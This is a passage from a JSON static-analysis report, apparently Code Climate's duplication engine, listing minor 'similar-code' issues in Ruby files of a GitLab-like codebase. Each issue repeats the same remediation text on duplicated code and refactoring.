Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"577c618e98095b86078d36b2ac019b73","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/settings.rb","lines":{"begin":59,"end":63}},"remediation_points":230000,"other_locations":[{"path":"lib/api/tags.rb","lines":{"begin":46,"end":50}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"34d52e18accbf89e1d40ad4efe71140e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/tags.rb","lines":{"begin":46,"end":50}},"remediation_points":230000,"other_locations":[{"path":"lib/api/settings.rb","lines":{"begin":59,"end":63}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7249b946ecaa77a923de68a038829979","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/finders/group_members_finder.rb","lines":{"begin":18,"end":22}},"remediation_points":210000,"other_locations":[{"path":"app/finders/group_members_finder.rb","lines":{"begin":26,"end":30}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b855af99fe41d98222cc7d488606c72e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/finders/group_members_finder.rb","lines":{"begin":26,"end":30}},"remediation_points":210000,"other_locations":[{"path":"app/finders/group_members_finder.rb","lines":{"begin":18,"end":22}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b855af99fe41d98222cc7d488606c72e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/members.rb","lines":{"begin":132,"end":137}},"remediation_points":210000,"other_locations":[{"path":"lib/api/access_requests.rb","lines":{"begin":76,"end":81}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"74eeab655880b068d73bfa1508e15e08","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/access_requests.rb","lines":{"begin":76,"end":81}},"remediation_points":210000,"other_locations":[{"path":"lib/api/members.rb","lines":{"begin":132,"end":137}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"89dd703acaf685f87aef279f54d3c31a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/database.rb","lines":{"begin":98,"end":109}},"remediation_points":210000,"other_locations":[{"path":"lib/gitlab/database.rb","lines":{"begin":112,"end":123}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2b8f3ea2a51c54532c43041c348ab5c3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/database.rb","lines":{"begin":112,"end":123}},"remediation_points":210000,"other_locations":[{"path":"lib/gitlab/database.rb","lines":{"begin":98,"end":109}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2b8f3ea2a51c54532c43041c348ab5c3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":44,"end":47}},"remediation_points":210000,"other_locations":[{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":50,"end":53}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e02e496b4b6107134a36720421ac55a9","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":50,"end":53}},"remediation_points":210000,"other_locations":[{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":44,"end":47}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e02e496b4b6107134a36720421ac55a9","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"qa/spec/runtime/env_spec.rb","lines":{"begin":6,"end":14}},"remediation_points":210000,"other_locations":[{"path":"qa/spec/runtime/env_spec.rb","lines":{"begin":17,"end":25}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d4456b6f43cef6bfbf9b6d039f749cdc","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"qa/spec/runtime/env_spec.rb","lines":{"begin":17,"end":25}},"remediation_points":210000,"other_locations":[{"path":"qa/spec/runtime/env_spec.rb","lines":{"begin":6,"end":14}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d4456b6f43cef6bfbf9b6d039f749cdc","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/finders/issuable_finder.rb","lines":{"begin":252,"end":262}},"remediation_points":190000,"other_locations":[{"path":"app/finders/issuable_finder.rb","lines":{"begin":280,"end":290}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d67c2bf9c225577fade90666e5dfc6e3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/finders/issuable_finder.rb","lines":{"begin":280,"end":290}},"remediation_points":190000,"other_locations":[{"path":"app/finders/issuable_finder.rb","lines":{"begin":252,"end":262}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs 